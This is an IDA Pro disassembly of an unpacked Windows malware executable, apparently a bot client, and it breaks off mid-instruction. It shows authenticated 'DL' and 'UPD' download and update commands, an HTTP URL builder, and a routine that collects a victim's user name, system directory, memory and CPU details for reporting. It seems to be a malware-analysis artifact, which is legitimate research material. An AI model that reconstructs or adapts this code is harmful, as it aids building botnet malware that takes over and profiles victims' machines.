; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6D2F9CF6C59B4F0014C76F05EE34D272 ; File Name : u:\work\6d2f9cf6c59b4f0014c76f05ee34d272_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001B53E ( 111934.) ; Section size in file : 0001B53E ( 111934.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; [0000001C BYTES: COLLAPSED FUNCTION std::char_traits<char>::_Copy_s(char *,uint,char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION std::char_traits<char>::_Move_s(char *,uint,char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401038 proc near ; DATA XREF: .rdata:004219C4o mov dword ptr [ecx], offset off_41D314 jmp sub_402CCA sub_401038 endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_401043(void *Memory,char) sub_401043 proc near ; DATA XREF: .rdata:off_41D314o arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41D314 call sub_402CCA test [esp+4+arg_0], 1 jz short loc_40105F push esi ; Memory call j__free pop ecx loc_40105F: ; CODE XREF: sub_401043+13j mov eax, esi pop esi retn 4 sub_401043 endp ; =============== S U B R O U T I N E ======================================= sub_401065 proc near ; CODE XREF: sub_40121E+43p ; sub_4016BA+43p ... push 4 mov eax, offset __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0 call __EH_prolog3 mov esi, ecx mov [ebp-10h], esi call sub_402BFB and dword ptr [ebp-4], 0 push dword ptr [ebp+8] lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D320 call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &) mov eax, esi call __EH_epilog3 retn 4 sub_401065 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40109A proc near ; CODE XREF: sub_4010C5+3p ; sub_4010E1+6j ... push esi mov esi, ecx push 0 ; MaxCount push 1 ; char lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D320 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint) mov ecx, esi pop esi jmp sub_402CCA sub_40109A endp ; [0000000E BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_4010C5(void *Memory,char) sub_4010C5 proc near ; DATA XREF: .rdata:off_41D320o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40109A test [esp+4+arg_0], 1 jz short loc_4010DB push esi ; Memory call j__free pop ecx loc_4010DB: ; CODE XREF: sub_4010C5+Dj mov eax, esi pop esi retn 4 sub_4010C5 endp ; =============== S U B R O U T I N E ======================================= sub_4010E1 proc near ; DATA XREF: .rdata:0042198Co mov dword ptr [ecx], offset off_41D32C jmp sub_40109A sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_4010EC(void *Memory,char) sub_4010EC proc near ; DATA XREF: .rdata:off_41D32Co arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41D32C call sub_40109A test [esp+4+arg_0], 1 jz short loc_401108 push esi ; Memory call j__free pop ecx loc_401108: ; CODE XREF: sub_4010EC+13j mov eax, esi pop esi retn 4 sub_4010EC endp ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401137: ; CODE XREF: .text:0041C1CEj ; .text:0041C24Aj ... push 0 push 1 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint) retn ; [00000092 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [0000004B BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40121E proc near ; CODE XREF: sub_41BB84+4Ap push 44h mov eax, offset loc_41C2BC call __EH_prolog3 push dword ptr [ebp+10h] mov esi, [ebp+0Ch] push dword ptr [esi+4] push esi call sub_401395 mov ecx, 0FC0FC0h sub ecx, dword_433C44 cmp ecx, 1 jnb short loc_40127B push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-28h] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *) and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401065 push offset dword_421988 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41D32C call sub_4041BB loc_40127B: ; CODE XREF: sub_40121E+29j inc dword_433C44 mov [esi+4], eax mov ecx, [eax+4] mov [ecx], eax call __EH_epilog3 retn 0Ch sub_40121E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401291 proc near ; CODE XREF: sub_41C370p push 10Ch ; Size call ??2@YAPAXI@Z ; operator new(uint) test eax, eax pop ecx jz short loc_4012A2 mov [eax], eax loc_4012A2: ; CODE XREF: sub_401291+Dj lea ecx, [eax+4] test ecx, ecx jz short locret_4012AB mov [ecx], eax locret_4012AB: ; CODE XREF: sub_401291+16j retn sub_401291 endp ; [0000006F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401395 proc near ; CODE XREF: sub_40121E+16p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 10Ch ; Size call ??2@YAPAXI@Z ; operator new(uint) test eax, eax pop ecx jz short loc_4013AA mov ecx, [esp+arg_0] mov [eax], ecx loc_4013AA: ; CODE XREF: sub_401395+Dj lea ecx, [eax+4] test ecx, ecx jz short loc_4013B7 mov edx, [esp+arg_4] mov [ecx], edx loc_4013B7: ; CODE XREF: sub_401395+1Aj push edi lea edi, [eax+8] test edi, edi jz short loc_4013CA push esi mov esi, [esp+8+arg_8] push 41h pop ecx rep movsd pop esi loc_4013CA: ; CODE XREF: sub_401395+28j pop edi retn 0Ch sub_401395 endp ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_4013E6 mov dword ptr [esi], offset off_41D32C mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4013E6 proc near ; CODE XREF: .text:004013D5p ; sub_4026B9+46p push 4 mov eax, offset __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0 call __EH_prolog3 mov esi, ecx mov [ebp-10h], esi mov edi, [ebp+8] push edi call ??0exception@std@@QAE@ABV01@@Z ; std::exception::exception(exception::exception const &) and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D320 call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &) mov eax, esi call __EH_epilog3 retn 4 sub_4013E6 endp ; sp-analysis failed ; [00000022 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *). PRESS KEYPAD "+" TO EXPAND] ; [000000CD BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401524 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)+17p Src = dword ptr 4 mov eax, [esp+Src] push esi mov esi, ecx lea edx, [eax+1] loc_40152E: ; CODE XREF: sub_401524+Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40152E sub eax, edx push eax ; MaxCount push [esp+8+Src] ; Src mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) pop esi retn 4 sub_401524 endp ; [00000072 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Inside(char const *). PRESS KEYPAD "+" TO EXPAND] ; [00000062 BYTES: COLLAPSED FUNCTION std::_Allocate<char>(uint,char *). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40164F proc near ; CODE XREF: sub_40243A+47p ; sub_40243A:loc_4024A3p ... cmp dword ptr [esi], 0 jnz short loc_401659 call __invalid_parameter_noinfo loc_401659: ; CODE XREF: sub_40164F+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_401668 call __invalid_parameter_noinfo loc_401668: ; CODE XREF: sub_40164F+12j mov eax, [esi+4] add eax, 8 retn sub_40164F endp ; =============== S U B R O U T I N E ======================================= sub_40166F proc near ; CODE XREF: sub_40243A+39p ; sub_413F8F+2Fp ... mov eax, [esi] test eax, eax jz short loc_401679 cmp eax, [edi] jz short loc_40167E loc_401679: ; CODE XREF: sub_40166F+4j call __invalid_parameter_noinfo loc_40167E: ; CODE XREF: sub_40166F+8j mov eax, [esi+4] xor ecx, ecx cmp eax, [edi+4] setnz cl mov al, cl retn sub_40166F endp ; =============== S U B R O U T I N E ======================================= sub_40168C proc near ; CODE XREF: sub_40243A+62p ; sub_413F8F+47p ... cmp dword ptr [esi], 0 mov eax, [esi] mov [edi], eax mov eax, [esi+4] mov [edi+4], eax jnz short loc_4016A0 call __invalid_parameter_noinfo loc_4016A0: ; CODE XREF: sub_40168C+Dj mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_4016AF call __invalid_parameter_noinfo loc_4016AF: ; CODE XREF: sub_40168C+1Cj mov eax, [esi+4] mov eax, [eax] mov [esi+4], eax mov eax, edi retn sub_40168C endp ; =============== S U B R O U T I N E ======================================= sub_4016BA proc near ; CODE XREF: sub_4140AB+54p push 48h mov eax, offset loc_41C24F call __EH_prolog3 push dword ptr [ebp+8] mov esi, [ebp+10h] push dword ptr [esi+4] push esi call sub_401745 mov ecx, 3C3C3C3h sub ecx, dword_433C50 cmp ecx, 1 jnb short loc_401717 push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-2Ch] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *) and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401065 push offset dword_421988 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41D32C call sub_4041BB loc_401717: ; CODE XREF: sub_4016BA+29j inc dword_433C50 mov [esi+4], eax mov ecx, [eax+4] mov [ecx], eax call __EH_epilog3 retn 0Ch sub_4016BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40172D proc near ; CODE XREF: sub_41C370:loc_41C38Dp push 4Ch ; Size call ??2@YAPAXI@Z ; operator new(uint) test eax, eax pop ecx jz short loc_40173B mov [eax], eax loc_40173B: ; CODE XREF: sub_40172D+Aj lea ecx, [eax+4] test ecx, ecx jz short locret_401744 mov [ecx], eax locret_401744: ; CODE XREF: sub_40172D+13j retn sub_40172D endp ; =============== S U B R O U T I N E ======================================= sub_401745 proc near ; CODE XREF: sub_4016BA+16p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 4Ch ; Size call ??2@YAPAXI@Z ; operator new(uint) test eax, eax pop ecx jz short loc_401757 mov ecx, [esp+arg_0] mov [eax], ecx loc_401757: ; CODE XREF: sub_401745+Aj lea ecx, [eax+4] test ecx, ecx jz short loc_401764 mov edx, [esp+arg_4] mov [ecx], edx loc_401764: ; CODE XREF: sub_401745+17j push edi lea edi, [eax+8] test edi, edi jz short loc_401777 push esi mov esi, [esp+8+arg_8] push 11h pop ecx rep movsd pop esi loc_401777: ; CODE XREF: sub_401745+25j pop edi retn 0Ch sub_401745 endp ; =============== S U B R O U T I N E ======================================= sub_40177B proc near ; DATA XREF: .rdata:off_420AE4o push 4B8h mov eax, offset loc_41C348 call __EH_prolog3_GS cmp dword ptr [ebp+1Ch], 3 mov eax, [ebp+10h] mov edi, [ebp+20h] mov [ebp-4C4h], eax mov eax, [ebp+18h] mov [ebp-4BCh], eax mov [ebp-4C0h], edi jl loc_4019D5 mov esi, 0BFh xor ebx, ebx push esi ; size_t lea eax, [ebp-18Fh] push ebx ; int push eax ; void * mov [ebp-190h], bl call _memset push esi ; size_t lea eax, [ebp-0CFh] push ebx ; int push eax ; void * mov [ebp-0D0h], bl call _memset push dword ptr [edi+4] lea edi, [ebp-190h] call sub_41B7F9 push 0C0h lea esi, [ebp-0D0h] mov ebx, offset aGdbdADjmGjZJJN ; "У¤¡¤ÓÑ ×ÐÓ¤¦¬Ñ£¦Ó§Ô¦Ð¦ÐÑÑÐÑÖÐÑ ÐѦ§£"... call sub_4196D1 add esp, 20h cmp byte ptr [ebp+8], 0 jz short loc_401817 cmp byte_425222, 0 jz loc_4019EB loc_401817: ; CODE XREF: sub_40177B+8Dj lea ecx, [ebp-0D0h] lea eax, [ebp-190h] loc_401823: ; CODE XREF: sub_40177B+C0j mov dl, [eax] cmp dl, [ecx] jnz short loc_401841 test dl, dl jz short loc_40183D mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_401841 inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_401823 loc_40183D: ; CODE XREF: sub_40177B+B0j xor eax, eax jmp short loc_401846 ; --------------------------------------------------------------------------- loc_401841: ; CODE XREF: sub_40177B+ACj ; sub_40177B+B8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_401846: ; CODE XREF: sub_40177B+C4j test eax, eax jnz loc_4019C8 push 327h ; size_t push eax ; int lea eax, [ebp-4B8h] push eax ; void * call _memset push dword ptr [ebp-4BCh] mov esi, offset aS_19 ; "%s" push esi ; Format mov edi, 0FFh lea eax, [ebp-4B8h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-4B8h] add esp, 1Ch lea ecx, [eax+1] loc_40188A: ; CODE XREF: sub_40177B+114j mov dl, [eax] inc eax test dl, dl jnz short loc_40188A push dword ptr [ebp-4C4h] sub eax, ecx push esi ; Format mov [ebp+eax-4B8h], dl lea eax, [ebp-3B8h] push 22h ; Count push eax ; Dest call __snprintf lea eax, [ebp-3B8h] add esp, 10h lea ecx, [eax+1] loc_4018BB: ; CODE XREF: sub_40177B+145j mov dl, [eax] inc eax test dl, dl jnz short loc_4018BB mov ebx, [ebp-4C0h] push dword ptr [ebx+8] sub eax, ecx push esi ; Format mov [ebp+eax-3B8h], dl lea eax, [ebp-395h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-395h] add esp, 10h lea ecx, [eax+1] loc_4018EE: ; CODE XREF: sub_40177B+178j mov dl, [eax] inc eax test dl, dl jnz short loc_4018EE push dword ptr [ebx+0Ch] sub eax, ecx push esi ; Format mov [ebp+eax-395h], dl lea eax, [ebp-295h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-295h] add esp, 10h lea esi, [eax+1] loc_40191B: ; CODE XREF: sub_40177B+1A5j mov cl, [eax] inc eax test cl, cl jnz short loc_40191B sub eax, esi mov [ebp+eax-295h], cl mov al, [ebp+8] mov [ebp-192h], al mov al, [ebp+0Ch] push 4 mov [ebp-193h], al pop eax cmp [ebp+1Ch], eax jl short loc_40198B mov [ebp-4BCh], eax loc_40194B: ; CODE XREF: sub_40177B+203j mov eax, [ebx+eax*4] push 3 mov edi, offset aE ; "-e" mov esi, eax pop ecx xor edx, edx repe cmpsb jz short loc_401982 mov esi, eax push 2 mov edi, offset a1_0 ; "1" pop ecx xor eax, eax repe cmpsb jz short loc_401982 mov eax, [ebp-4BCh] inc eax cmp eax, [ebp+1Ch] mov [ebp-4BCh], eax jle short loc_40194B jmp short loc_401992 ; --------------------------------------------------------------------------- loc_401982: ; CODE XREF: sub_40177B+1E1j ; sub_40177B+1F1j mov byte ptr [ebp-195h], 1 jmp short loc_401992 ; --------------------------------------------------------------------------- loc_40198B: ; CODE XREF: sub_40177B+1C8j mov byte ptr [ebp-195h], 0 loc_401992: ; CODE XREF: sub_40177B+205j ; sub_40177B+20Ej push 8 ; Size mov byte ptr [ebp-194h], 0 call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp-4C0h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_4019EB push offset sub_41B925 lea ecx, [ebp-4B8h] mov edi, offset aDl_0 ; "DL" mov esi, eax call sub_4140AB jmp short loc_4019EB ; --------------------------------------------------------------------------- loc_4019C8: ; CODE XREF: sub_40177B+CDj push offset aDlAuthFailure_ ; "DL: Auth Failure." push dword ptr [ebp-4BCh] jmp short loc_4019DB ; --------------------------------------------------------------------------- loc_4019D5: ; CODE XREF: sub_40177B+2Ej push offset aDlInvalidArgum ; "DL: Invalid Arguments" push eax ; int loc_4019DB: ; CODE XREF: sub_40177B+258j push dword ptr [ebp+0Ch] ; char push offset dword_4269BC ; int call sub_417361 add esp, 10h loc_4019EB: ; CODE XREF: sub_40177B+96j ; sub_40177B+232j ... call sub_40467F retn 1Ch sub_40177B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4019F3 proc near ; DATA XREF: .rdata:off_420AECo push 4B8h mov eax, offset loc_41C313 call __EH_prolog3_GS cmp dword ptr [ebp+1Ch], 3 mov eax, [ebp+10h] mov edi, [ebp+20h] mov [ebp-4C4h], eax mov eax, [ebp+18h] mov [ebp-4C0h], eax mov [ebp-4BCh], edi jl loc_401BFF mov esi, 0BFh xor ebx, ebx push esi ; size_t lea eax, [ebp-18Fh] push ebx ; int push eax ; void * mov [ebp-190h], bl call _memset push esi ; size_t lea eax, [ebp-0CFh] push ebx ; int push eax ; void * mov [ebp-0D0h], bl call _memset push dword ptr [edi+4] lea edi, [ebp-190h] call sub_41B7F9 push 0C0h lea esi, [ebp-0D0h] mov ebx, offset aNbEdGzDdnbgNdZ ; "¡×¥¤Ð£§Ñ¤¤¡£Ð¤Ð§ÑÑ£¬¤Ó×ÖЬ ¢¢×¦ ÐЦ"... call sub_4196D1 add esp, 20h cmp byte ptr [ebp+8], 0 jz short loc_401A8F cmp byte_425222, 0 jz loc_401C15 loc_401A8F: ; CODE XREF: sub_4019F3+8Dj lea ecx, [ebp-0D0h] lea eax, [ebp-190h] loc_401A9B: ; CODE XREF: sub_4019F3+C0j mov dl, [eax] cmp dl, [ecx] jnz short loc_401AB9 test dl, dl jz short loc_401AB5 mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_401AB9 inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_401A9B loc_401AB5: ; CODE XREF: sub_4019F3+B0j xor eax, eax jmp short loc_401ABE ; --------------------------------------------------------------------------- loc_401AB9: ; CODE XREF: sub_4019F3+ACj ; sub_4019F3+B8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_401ABE: ; CODE XREF: sub_4019F3+C4j test eax, eax jnz loc_401BF2 push 327h ; size_t push eax ; int lea eax, [ebp-4B8h] push eax ; void * call _memset push dword ptr [ebp-4C0h] mov esi, offset aS_19 ; "%s" push esi ; Format mov edi, 0FFh lea eax, [ebp-4B8h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-4B8h] add esp, 1Ch lea ecx, [eax+1] loc_401B02: ; CODE XREF: sub_4019F3+114j mov dl, [eax] inc eax test dl, dl jnz short loc_401B02 push dword ptr [ebp-4C4h] sub eax, ecx push esi ; Format mov [ebp+eax-4B8h], dl lea eax, [ebp-3B8h] push 22h ; Count push eax ; Dest call __snprintf lea eax, [ebp-3B8h] add esp, 10h lea ecx, [eax+1] loc_401B33: ; CODE XREF: sub_4019F3+145j mov dl, [eax] inc eax test dl, dl jnz short loc_401B33 mov ebx, [ebp-4BCh] push dword ptr [ebx+8] sub eax, ecx push esi ; Format mov [ebp+eax-3B8h], dl lea eax, [ebp-395h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-395h] add esp, 10h lea ecx, [eax+1] loc_401B66: ; CODE XREF: sub_4019F3+178j mov dl, [eax] inc eax test dl, dl jnz short loc_401B66 push dword ptr [ebx+0Ch] sub eax, ecx push esi ; Format mov [ebp+eax-395h], dl lea eax, [ebp-295h] push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp-295h] add esp, 10h lea ecx, [eax+1] loc_401B93: ; CODE XREF: sub_4019F3+1A5j mov dl, [eax] inc eax test dl, dl jnz short loc_401B93 sub eax, ecx mov [ebp+eax-295h], dl mov al, [ebp+8] mov [ebp-192h], al mov al, [ebp+0Ch] push 8 ; Size mov [ebp-193h], al mov byte ptr [ebp-195h], 1 mov byte ptr [ebp-194h], 1 call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp-4BCh], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_401C15 push offset sub_41B925 lea ecx, [ebp-4B8h] mov edi, offset aDl_0 ; "DL" mov esi, eax call sub_4140AB jmp short loc_401C15 ; --------------------------------------------------------------------------- loc_401BF2: ; CODE XREF: sub_4019F3+CDj push offset aUpdAuthFailure ; "UPD: Auth Failure." push dword ptr [ebp-4C0h] jmp short loc_401C05 ; --------------------------------------------------------------------------- loc_401BFF: ; CODE XREF: sub_4019F3+2Ej push offset aUpdInvalidArgu ; "UPD: Invalid Arguments." push eax ; int loc_401C05: ; CODE XREF: sub_4019F3+20Aj push dword ptr [ebp+0Ch] ; char push offset dword_4269BC ; int call sub_417361 add esp, 10h loc_401C15: ; CODE XREF: sub_4019F3+96j ; sub_4019F3+1E4j ... call sub_40467F retn 1Ch sub_4019F3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C1D proc near ; DATA XREF: .rdata:off_420B04o var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h Args = byte ptr -14h var_13 = byte ptr -13h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 118h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_10] push ebx mov [ebp+var_118], eax push esi push edi xor eax, eax xor ecx, ecx mov [ebp+Args], cl lea edi, [ebp+var_13] stosd stosd stosd stosw push 0FFh ; size_t stosb push ecx ; int lea eax, [ebp+var_113] push eax ; void * mov [ebp+var_114], cl call _memset push dword_4269BC lea esi, [ebp+Args] call sub_418FC6 push 100h lea esi, [ebp+var_114] mov ebx, offset byte_425061 call sub_4196D1 mov eax, esi push eax push dword_426594 lea eax, [ebp+Args] push eax ; Args push offset aHttpSDS ; "http://%s:%d/%s" push [ebp+var_118] ; int push dword ptr [ebp+arg_4] ; char push offset dword_4269BC ; int call sub_417361 mov ecx, [ebp+var_4] add esp, 30h pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn 1Ch sub_401C1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CC0 proc near ; DATA XREF: .rdata:off_420BC4o var_444 = byte ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = byte ptr -438h var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_418 = byte ptr -418h var_417 = byte ptr -417h var_408 = byte ptr -408h var_407 = byte ptr -407h var_308 = byte ptr -308h var_307 = byte ptr -307h var_208 = byte ptr -208h var_207 = byte ptr -207h Args = byte ptr -108h var_107 = byte ptr -107h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 444h mov eax, dword_423064 xor eax, esp mov [esp+444h+var_4], eax mov eax, [ebp+arg_10] push ebx push esi push edi mov esi, 0FFh push esi ; size_t mov [esp+454h+var_43C], eax xor ebx, ebx lea eax, [esp+454h+var_107] push ebx ; int push eax ; void * mov [esp+45Ch+Args], 0 call _memset add esp, 0Ch push esi ; size_t lea eax, [esp+454h+var_307] push ebx ; int push eax ; void * mov [esp+45Ch+var_308], bl call _memset xor eax, eax mov [esp+45Ch+var_418], bl lea edi, [esp+45Ch+var_417] stosd stosd stosd stosw add esp, 0Ch push esi ; size_t stosb lea eax, [esp+454h+var_407] push ebx ; int push eax ; void * mov [esp+45Ch+var_408], bl call _memset add esp, 0Ch push esi ; size_t lea eax, [esp+454h+var_207] push ebx ; int push eax ; void * mov [esp+45Ch+var_208], bl call _memset add esp, 0Ch push 8 pop ecx xor eax, eax lea edi, [esp+450h+var_438] rep stosd lea eax, [esp+450h+var_438] mov ebx, 100h push eax mov [esp+454h+var_440], ebx call ds:dword_41D098 ; GlobalMemoryStatus mov edi, [esp+450h+var_430] mov ecx, [esp+450h+var_42C] shr edi, 14h shr ecx, 14h mov eax, edi sub eax, ecx push 1 mov ecx, ebx ; unsigned int lea esi, [esp+454h+Args] mov dword ptr [esp+454h+var_444], eax call sub_418E51 pop ecx call sub_41A391 push 1 push ebx lea esi, [esp+458h+var_308] call sub_418E1F push dword_4269BC lea esi, [esp+45Ch+var_418] call sub_418FC6 add esp, 0Ch lea eax, [esp+450h+var_440] push eax lea eax, [esp+454h+var_408] push eax call ds:dword_41D048 ; GetUserNameA push ebx lea eax, [esp+454h+var_208] push eax call ds:dword_41D0F4 ; GetSystemDirectoryA call sub_418DA0 push dword_4265AC lea eax, [esp+454h+var_208] push dword_4265A8 push dword_4265A4 push dword_4265A0 push dword_42659C push dword_426598 push eax lea eax, [esp+46Ch+var_408] push eax mov eax, esi push eax lea eax, [esp+474h+var_308] push eax push edi push dword ptr [esp+47Ch+var_444] mov esi, offset Dest push dword_426BE8 lea eax, [esp+484h+Args] push esi push dword_426BEC push eax ; Args push offset aSystemSCpuIXS@ ; "System: %s [CPU: %i x %s @ %dMhz] [RAM:"... push [esp+494h+var_43C] ; int push dword ptr [ebp+arg_4] ; char push offset dword_4269BC ; int call sub_417361 push 108h ; size_t push 0 ; int push esi ; void * call _memset mov ecx, [esp+4ACh+var_4] add esp, 5Ch pop edi pop esi pop ebx xor ecx, esp call sub_402710 mov esp, ebp pop ebp retn 1Ch sub_401CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E82 proc near ; DATA XREF: .rdata:off_420BCCo var_18 = dword ptr -18h Args = byte ptr -14h var_13 = byte ptr -13h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_10] push esi push edi push dword_4269BC mov [ebp+Args], 0 xor eax, eax lea edi, [ebp+var_13] stosd stosd stosd stosw lea esi, [ebp+Args] stosb call sub_418FC6 pop ecx mov eax, esi push eax call 